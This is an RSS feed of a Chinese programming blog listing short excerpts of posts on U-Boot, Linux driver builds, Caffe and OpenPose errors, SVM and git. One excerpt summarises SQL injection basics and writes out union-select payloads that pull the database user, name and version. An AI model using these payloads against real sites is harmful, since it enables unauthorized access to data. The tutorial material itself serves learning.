<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[alickr的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/alickr</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; alickr]]></copyright><item><title><![CDATA[uboot顶层makefile走读]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/124641722</link><guid>https://blog.youkuaiyun.com/alickr/article/details/124641722</guid><author>alickr</author><pubDate>Sun, 08 May 2022 20:37:43 +0800</pubDate><description><![CDATA[MAKEFLAGS += -rR --include-dir=$(CURDIR)

MAKEFLAGS和CURDIR为makefile中的默认变量

使用make -.p可以查看makefile预先定义过的东西




ifeq ("$(origin V)", "command line")
    KBUILD_VERBOSE = $(V)
endif
ifndefKBUILD_VERBOSE
    KBUILD_VERBOSE = 0
endif
ifeq ($(KBUILD_VERBOSE), ..]]></description><category></category></item><item><title><![CDATA[uboot内置命令]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/124598735</link><guid>https://blog.youkuaiyun.com/alickr/article/details/124598735</guid><author>alickr</author><pubDate>Fri, 06 May 2022 20:47:43 +0800</pubDate><description><![CDATA[help或者?： 打印当前运行的uboot支持的命令，输入“? command”可以查看指定command的帮助信息

bdinfo：打印板子信息

printenv或者print：打印环境变量

setenv：新建、修改、删除环境变量

saveenv：将环境变量保存到emmc

md[.b|.w|.l] addr [size]：查看内存，可指定个数，加.b修饰代表读取个数以字节为单位，.w代表2个字节，.l代表4个字节吗，默认为.l

nm[.b|.w|.l] addr：修改内存，参数同上

mm[.b]]></description><category></category></item><item><title><![CDATA[Ubuntu建立nfs和tftp环境]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/124599524</link><guid>https://blog.youkuaiyun.com/alickr/article/details/124599524</guid><author>alickr</author><pubDate>Thu, 05 May 2022 22:56:39 +0800</pubDate><description><![CDATA[nfs：

apt安装

sudo apt-get install nfs-kernel-server

编辑配置文件

sudo vi /etc/exports



在文件末尾加入红框所示内容，其中蓝框内写入nfs工作目录，要传输的文件放在这个目录下

开启服务

sudo service nfs-kernel-server start

如果使用nfs出现错误：ERROR: File lookup fail，首先检查命令、ip地址、文件路径是否有误，如果检查无误，则可能是版本不匹配的问题，可尝试让nf]]></description><category></category></item><item><title><![CDATA[linux编译驱动的最小Makefile]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/121005828</link><guid>https://blog.youkuaiyun.com/alickr/article/details/121005828</guid><author>alickr</author><pubDate>Thu, 28 Oct 2021 01:05:47 +0800</pubDate><description><![CDATA[PWD := $(shell pwd)

KERNEL_DIR := &lt;内核源码路径&gt;

obj-m := module_file_name.o
#驱动核心源文件.c替换为.o

kernel_module:
    $(MAKE) -C $(KERNEL_DIR) M=$(PWD) modules
clean
    $(MAKE) -C $(KERNEL_DIR) M=$(PWD) clean

编译一个linux驱动的Makefile核心代码
...]]></description><category></category></item><item><title><![CDATA[关于double free or corruption (!prev)错误]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/107976390</link><guid>https://blog.youkuaiyun.com/alickr/article/details/107976390</guid><author>alickr</author><pubDate>Thu, 13 Aug 2020 11:53:25 +0800</pubDate><description><![CDATA[double free or corruption (!prev)错误已经在网上有很多讨论了，大致分为两种情况，一是二次释放同一块内存，二是在使用内存的时候越界，之后释放也可能产生这种错误。

记录一下我遇到的情况：

A类包含B类，B类的析构函数中有释放内存的操作，在A类的构造函数中使用了函数体中赋值进行初始化操作，这样就导致了产生了一个实例B2，原来的实例B1会进行一次析构操作，释放一次内存。当A实例销毁时，会调用B的析构函数，奇怪的是好像不会调用B2的析构函数，而是再一次调用了B1的，导致了二次释放。]]></description><category></category></item><item><title><![CDATA[human3.6m数据集格式解析]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/107837403</link><guid>https://blog.youkuaiyun.com/alickr/article/details/107837403</guid><author>alickr</author><pubDate>Thu, 06 Aug 2020 14:44:08 +0800</pubDate><description><![CDATA[最近做3d人体姿态骨骼相关的实验，需要使用到human3.6m这个数据集，但是这个数据集的格式以及使用方式在网上并没有人详细地进行说明，因此我记录下我对这个数据集的格式理解的过程。

首先，human3.6m的数据是可以直接用txt文本打开的，打开之后是如下格式：


0.0000000,0.0000000,0.0000000,-0.0000000,-0.0000001,0.0000001,0.3230213,-0.4831149,-0.0673216,-0.0632727,-0.0000000,-0.00]]></description><category></category></item><item><title><![CDATA[编译openpose出现链接错误(cameraParameterReader.cpp.o R_X86_64_PC32 最后的链结失败: 错误的值)]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/89646723</link><guid>https://blog.youkuaiyun.com/alickr/article/details/89646723</guid><author>alickr</author><pubDate>Sun, 28 Apr 2019 21:58:25 +0800</pubDate><description><![CDATA[错误提示如下：

[ 41%] Linking CXX shared library libopenpose.so
/usr/bin/ld: CMakeFiles/openpose.dir/3d/cameraParameterReader.cpp.o: relocation R_X86_64_PC32 against symbol `_ZTVN2op21CameraParameterReaderE...]]></description><category></category></item><item><title><![CDATA[python  TypeError: xx() got multiple values for argument ‘x‘]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78701465</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78701465</guid><author>alickr</author><pubDate>Sun, 03 Dec 2017 14:27:14 +0800</pubDate><description><![CDATA[可能原因:
将字典作为参数传入时，字典中的key与函数参数列表命名发生重复]]></description><category></category></item><item><title><![CDATA[编译caffe出错]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78512607</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78512607</guid><author>alickr</author><pubDate>Sun, 12 Nov 2017 16:27:23 +0800</pubDate><description><![CDATA[错误提示：
Unsupported gpu architecture'compute_20' 


解决方法：
将Makefile.config里面
CUDA_ARCH := -gencode arch=compute_20,code=sm_20 \
-gencode arch=compute_20,code=sm_21 \
-gencode arch=compute_30,cod]]></description><category></category></item><item><title><![CDATA[Ubuntu安装caffe和rcnn的兼容性问题]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78512405</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78512405</guid><author>alickr</author><pubDate>Sun, 12 Nov 2017 16:16:34 +0800</pubDate><description><![CDATA[如果你安装的cudnn比较新，则rcnn自带的caffe无法编译通过，报错显示

In file included from src/caffe/util/cudnn.cpp:2:0:
./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’:
./include/caf...]]></description><category></category></item><item><title><![CDATA[java初始化顺序实验代码]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78344829</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78344829</guid><author>alickr</author><pubDate>Wed, 25 Oct 2017 18:39:29 +0800</pubDate><description><![CDATA[class BaseVariable{
BaseVariable(){
System.out.println("BaseVariable" );
}
}


class SubVariable{
SubVariable(){
System.out.println("SubVariable" );
}
}


class BaseStaticVariable{
Base]]></description><category></category></item><item><title><![CDATA[ubuntu16.04安装gtx1070显卡驱动]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78194002</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78194002</guid><author>alickr</author><pubDate>Tue, 10 Oct 2017 16:19:02 +0800</pubDate><description><![CDATA[1、如果是apt-get方法进行安装的话很简单，几乎什么都不用做，几条命令就完成了

首先卸载旧版驱动，没安装过也可以运行一下，确保没有障碍




sudo apt-get autoremove --purge nvidia-*

然后安装驱动




sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update
s...]]></description><category></category></item><item><title><![CDATA[ubuntu kde Plasma5 图标无法自定义问题]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78073877</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78073877</guid><author>alickr</author><pubDate>Sat, 23 Sep 2017 22:07:55 +0800</pubDate><description><![CDATA[解决方法：直接向系统添加图标，目录/usr/share/icons/default.kde4/]]></description><category></category></item><item><title><![CDATA[学习算法遇到的疑难杂症]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/78014530</link><guid>https://blog.youkuaiyun.com/alickr/article/details/78014530</guid><author>alickr</author><pubDate>Sun, 17 Sep 2017 23:09:58 +0800</pubDate><description><![CDATA[1、delete动态数组
如果delete的时候出现运行时错误，可能是之前发生过数组越界


2、快排
在坐标向中靠拢的时候除了比较和当前选中的数的大小外，还要判断边界
while(i < j)
{
	while(j > i && a[j] >= num) j--;    //这里和下面的j > i
	a[i] = a[j];

	while(i < j && a[i] < num)]]></description><category></category></item><item><title><![CDATA[sql注入基础总结]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/73926691</link><guid>https://blog.youkuaiyun.com/alickr/article/details/73926691</guid><author>alickr</author><pubDate>Thu, 29 Jun 2017 19:40:12 +0800</pubDate><description><![CDATA[单引号注入
/?id=1' order by (一个数字)--+  遍历可以得到当前表的列数
/?id=-1' union select 1,2,3--+  得到1，2，3

/?id=-1' union select 1,2,concat_ws(char(32, 58, 32), user(), database(), version)--+  得到用户名，数据库名，版本号

/?i]]></description><category></category></item><item><title><![CDATA[通俗直观地解释为什么svm支持向量机可以假设离判决面最近的点在wx+b=±1上]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/72809368</link><guid>https://blog.youkuaiyun.com/alickr/article/details/72809368</guid><author>alickr</author><pubDate>Tue, 30 May 2017 13:23:11 +0800</pubDate><description><![CDATA[在学习svm的过程中，很多人可能对其推导的第一步假设就开始出现疑惑，包括我在内，刚开始的时候也很疑惑。其实这个问题并不是什么大问题，只是一时没想到而已。


为什么各种资料都是假设正平面距离判决线最近的点为wx+b=1，负平面距离判决线最近的点可以假设为wx+b=-1？
然后在这个假设的基础之上开始进行推导，得出支持向量机最大边缘应该为：2/sqrt(wT*w) 


之后，将边缘]]></description><category></category></item><item><title><![CDATA[python matplotlib imshow无法显示的问题]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/72804258</link><guid>https://blog.youkuaiyun.com/alickr/article/details/72804258</guid><author>alickr</author><pubDate>Mon, 29 May 2017 22:10:21 +0800</pubDate><description><![CDATA[ 

import matplotlib.pyplot as plt

plt.imshow(img)

#控制台打印出图像对象的信息，而图像没有显示

 

解决方法：

#使用show函数解决

import matplotlib.pyplot as plt

plt.imshow(img)

plt.show()

 

 ...]]></description><category></category></item><item><title><![CDATA[win10 matlab7 runtimeError解决方]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/72804228</link><guid>https://blog.youkuaiyun.com/alickr/article/details/72804228</guid><author>alickr</author><pubDate>Mon, 29 May 2017 22:04:28 +0800</pubDate><description><![CDATA[右键-》属性-》兼容性-》以兼容模式运行这个程序-》windows vista
用window vista运行matlab7就行]]></description><category></category></item><item><title><![CDATA[opencv中一些功能函数]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/51968992</link><guid>https://blog.youkuaiyun.com/alickr/article/details/51968992</guid><author>alickr</author><pubDate>Wed, 20 Jul 2016 15:45:16 +0800</pubDate><description><![CDATA[int floodFill(InputOutputArray image, Point seedPoint, Scalar newVal, Rect *rc = 0, Scalar loDIff = Scalar(), Scalar upDiff = Scalar(), int flags = 4)
int floodFill(InputOutputArray image, InputOutpu]]></description><category></category></item><item><title><![CDATA[git快速入门（五）远程仓库以及如何使用github]]></title><link>https://blog.youkuaiyun.com/alickr/article/details/51957973</link><guid>https://blog.youkuaiyun.com/alickr/article/details/51957973</guid><author>alickr</author><pubDate>Tue, 19 Jul 2016 19:12:50 +0800</pubDate><description><![CDATA[你已经懂得了一些git的基本操作命令和概念，但是你现在的一切操作仅限于本地，接下来你要开始使用远程的git了


以github这个网站为例，想必它的大名你之前应该也听说过
首先你应该确定你应该能登陆这个网站

https://github.com


然后进行注册，不多说


注册完毕后，你还无法立即上传，git基于ssh进行传输，所以你应该先生成你的公钥和密钥
到你的]]></description><category></category></item></channel></rss>